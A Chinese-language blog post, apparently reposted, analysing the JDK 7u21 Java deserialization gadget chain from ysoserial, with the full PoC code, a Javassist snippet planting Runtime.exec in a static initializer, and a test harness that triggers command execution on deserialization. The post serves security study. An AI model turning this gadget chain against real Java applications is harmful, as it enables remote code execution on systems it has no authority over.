Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析文章首发:Java安全之Jdk7u21链分析0x00前言其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Jdk7u21链分析

文章首发:Java安全之Jdk7u21链分析

0x00 前言

其实该链是想拿到后面再去做分析的,但是学习到Fastjson这个漏洞,又不得不使用到该链。那么在这里就来做一个简单的分析。

在前面分析的利用链中,其实大致都差不多都是基于InvokerTransformerTemplatesImpl这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于TemplatesImpl去实现的。

0x01 Jdk7u21链构造分析

先来看一下该利用链的在yso里面给出调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了TemplatesImpl.getOutputProperties这一步其实也是和前面的相同。

本篇文就直接使用yos里面的POC来展开话题。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

因为是第一次写这个yos里面POC的分析文章,所以会写得详细一些。就先从第一行代码看起。

final Object templates = Gadgets.createTemplatesImpl(command);

这里是调用了Gadgets.createTemplatesImpl这个静态方法,并且传入执行的命令进去。来跟进一下该方法,查看该方法的实现。

Java安全之Jdk7u21链分析

这里是返回了他的重载的方法,并且把传入了命令与TemplatesImplAbstractTransletTransformerFactoryImpl这三个对象。来到他的重载方法中。

Java安全之Jdk7u21链分析

在重载方法中对传入的TemplatesImpl使用反射创建一个实例化对象。再来看下面的一段代码。

Java安全之Jdk7u21链分析

这里看到其实和前面CC2链的构造是一样的。使用Javassist动态创建一个类,并将其中的静态代码块设置为Runtime执行命令的一段代码,然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了insertAfter,而前面的链中使用的是setBody去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。

对应的POC代码:

 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

再来看下一段代码。

Java安全之Jdk7u21链分析

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

这个其实有了前面分析了简易化后的利用链POC的基础后,其实很容易懂,这里其实就是使用了Reflections.setFieldValuetemplates里面的_bytecodes设置为前面动态创建的类的字节码。

下面的_name设置为Pwnr字符,而_tfactory设置为TransformerFactoryImpl由反射创建的实例化对象。

Reflections.setFieldValue的底层代码也是由反射去实现的。

对应代码如下:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

和上面这段代码效果相同,后面设置_name_tfactory也是一样的方式,以此类推。

_name

先来看看这个_name为什么要设置该值。在前面也分析过该变量设置值的原因,这里再来叙述一遍。

Java安全之Jdk7u21链分析

在执行到templatesImplgetTransletInstance方法的时候会先去判断name的值如果为空,就会直接返回null,不做下面的执行

_bytecodes

这个_bytecodes前面也分析过。

Java安全之Jdk7u21链分析

来看到圈出来的这一段代码,如果_class为空,就会调用this.defineTransletClasses();方法。

跟进一下。

Java安全之Jdk7u21链分析

在圈出来的这一步就会去调用loader.defineClass方法然后传入_bytecodes,前面是使用了反射将恶意类的字节码赋值给_bytecodesloader.defineClass这个方法进行一下跟进。

Java安全之Jdk7u21链分析

实际中他的底层是调用了defineClass类加载器。关于defineClass类加载器可以将一个字节码进行动态加载。

具体可以看我的Java安全之 ClassLoader类加载器这篇文章。插个题外话,类加载器的调用无非两种方法,要么就是反射去调用,要么就直接继承该类进行重写。

回到刚刚的地方

Java安全之Jdk7u21链分析

_class赋值完成后,会在该地方调用newInstance进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。

_tfactory

看一个大佬的文章说是 在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值。但是我在查询的时候并未看到getExternalExtensionsMap方法,而且在yso里面将设置_tfactory 值的代码给注释了一样能正常执行命令。

Java安全之Jdk7u21链分析

在我的物理机 8u181的版本中也没有发现。

Java安全之Jdk7u21链分析

后来看到大佬的文章中有该方法

Java安全之Jdk7u21链分析

根据大佬的解释是可以看到jdk1.8多了个_tfactory.getExternalExtensionsMap()的处理。我们在jdk1.8的环境下跟踪下程序,发现到这里_tfactory的值为null,所以执行_tfactory.getExternalExtensionsMap()函数时会出错,导致程序异常,不能加载_bytecodes的中的类。

下面再回到刚刚的点,来看下一段POC代码

Java安全之Jdk7u21链分析

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象

Java安全之Jdk7u21链分析

传入的是Gadgets.ANN_INV_HANDLER_CLASS查看一下该静态方法。

Java安全之Jdk7u21链分析

该方法返回的是AnnotationInvocationHandler字符。也就是创建了一个AnnotationInvocationHandler的对象,并且调用newInstance实例化该对象,传入Override.class, map。前面说过AnnotationInvocationHandler这个类是用来处理注解的,前面的参数需要传入一个注解的参数,后面的需要传入一个map类型参数

简单来说就是使用反射创建了一个AnnotationInvocationHandler的实例。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

这一段代码其实没啥好说的,就是把tempHandler里面的type的变量改成Templates.class

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法。

Java安全之Jdk7u21链分析

这里面实际上就是使用了 Templates去做动态代理。

对应POC代码:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接下来就还剩最后一段代码

LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

在下面的代码就很好解释了,实例化一个LinkedHashSet对象将templatesproxy添加进去。

后面的就是将templates_class_auxClasses设置为空,前面的分析中提到过,在templatesImpl中的_class必须为空才会去执行getTransletInstance方法。

POC的代码其实也就这么多,因为yso将一些代码做了一个很好的封装,显得代码量也是比较少,但是如果第一次分析利用链就看yso的代码,会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。

0x02 Jdk7u21链调试分析

在该工具里面写一个测试类去获取一下,payload。

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

Java安全之Jdk7u21链分析

命令执行成功,接下来来分析一下该利用链调用。

这里使用的是LinkedHashSet.readObject去作为反序列化的入口点,但是LinkedHashSet并没有去实现readObject方法,但是该类继承了HashSet类,所以这里调用的是HashSetreadObject方法。在该方法打一个断点。

Java安全之Jdk7u21链分析

该方法在此处调用了,map.put方法,根据一下该方法。

Java安全之Jdk7u21链分析

在这里可以看到调用的是HashMap的put方法,这是为什么呢?查询一下HashSet中的Map成员变量

Java安全之Jdk7u21链分析

定义成员变量的时候,该map变量其实就是一个HashMap类的属性。

回到刚才的地方

Java安全之Jdk7u21链分析

看到这里执行完后,会跨过for 的代码块,执行下面的代码。因为table值是空的,这里就没法进行遍历。

Java安全之Jdk7u21链分析

而后面会使用addEntry,将这几个值添加进入,hash的值为hash方法处理TemplatesImpl的值,也就是计算了

TemplatesImpl的hash值。key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

回到这次执行完成,会返回到HashSet的这次循环。

Java安全之Jdk7u21链分析

再第二次循环的时候,就会进入到该for循环里面

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

关键点其实就在这个key.equals前面说过这个key为TemplatesImpl的实例,前面做了一个动态代理,这里调用他的equals就会触发到AnnotationInvocationHandler invoke方法。

Java安全之Jdk7u21链分析

这个地方还会去调用equalsImpl方法,跟进一下该方法。

Java安全之Jdk7u21链分析

var8 = var5.invoke(var1); 语句,这里是通过反射调用 var1 对象的 var5 方法。跟踪一下getMemberMethods方法就知道。

Java安全之Jdk7u21链分析

在这里的this.typetemplates对象,使用getDeclaredMethods反射获取方法。

Java安全之Jdk7u21链分析

在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);

反射去调用,这里传入的var是TemplatesImpl的实例对象。

这时候就会去调用getOutputProperties方法,其实到这步已经是很清晰了。因为后面的调用步骤和前面使用TemplatesImpl构造恶意类的调用时一样的。

Java安全之Jdk7u21链分析

getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法,

Java安全之Jdk7u21链分析

Java安全之Jdk7u21链分析

到了后面的就不需要多说了,这里也只是简单描述一下。

参考文章

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

0x03 结尾

其实在该链中还有一些细节点没去做分析,该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因,不得不说的一个点是能够完整分析这个链的一些细节点都是大佬,需要有较为深厚的代码功底。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119902.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • CultureInfo 類別

    CultureInfo 類別CultureInfo類別.NETFramework2.0其他版本.NETFramework4.5.NETFramework4.NETFramework3.5Silverlight5人當中有2人評分為有幫助-為這個主題評分提供特定文化特性(Culture)的相關資訊,如文化特性名稱、書寫系…

  • ‘flutter’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。

    ‘flutter’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。

  • Android 完全退出app程序

    Android 完全退出app程序Android完全退出app程序(不保留历史打开app记录)finishAndRemoveTask();//该方法在APIlevel21之后添加。System.exit(0);android.os.Process.killProcess(android.os.Process.myPid());

  • ubuntu配置ftp server

    ubuntu配置ftp server

  • 代理重加密_代理重加密BBS方案

    代理重加密_代理重加密BBS方案云计算中的数据机密性风险极大地阻碍了云计算的应用,而在用户端加密的模式对于数据共享来说非常不便,用户频繁的获取和释放授权将使得用户增效据加解密工作繁重。因此代理重加密技术在云端进行数据的密文转换,减轻了用户端的负担,同时加强了云端数据的保密性。一、代理重加密代理重加密是密文间的一种密钥转换机制,是由Blaze等人在1998年的欧洲密码学年会上提出的,并由Ateniese等人在2005年的网络和分布式系统安全研讨会议和2007年的美国计算机学会计算机与通信安全会议上给出了规范的形式化定义。在代理重加密中

  • 如何学习嵌入式Linux_韦东山

    如何学习嵌入式Linux_韦东山我在100ASK_IMX6ULL售后群里,发现很多初学者只有单片机基础,甚至没有单片机基础。在学习Linux时,对很多概念比较陌生,导致不知道学什么,也不知道学了之后有什么用。所以我趁着五一假期,编写此文。从事嵌入式Linux培训12年来,我们写过很多《关于如何学习linux》的文章,这是最新的,本文将不断更新。第1章单片机和Linux的区别1.1有哪些产品使用单片机或Linux所有的电子产品,所用技术都可以认为要么是单片机,要么是Linux;GUI方面主要是QT/Android,它们都是运行于

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号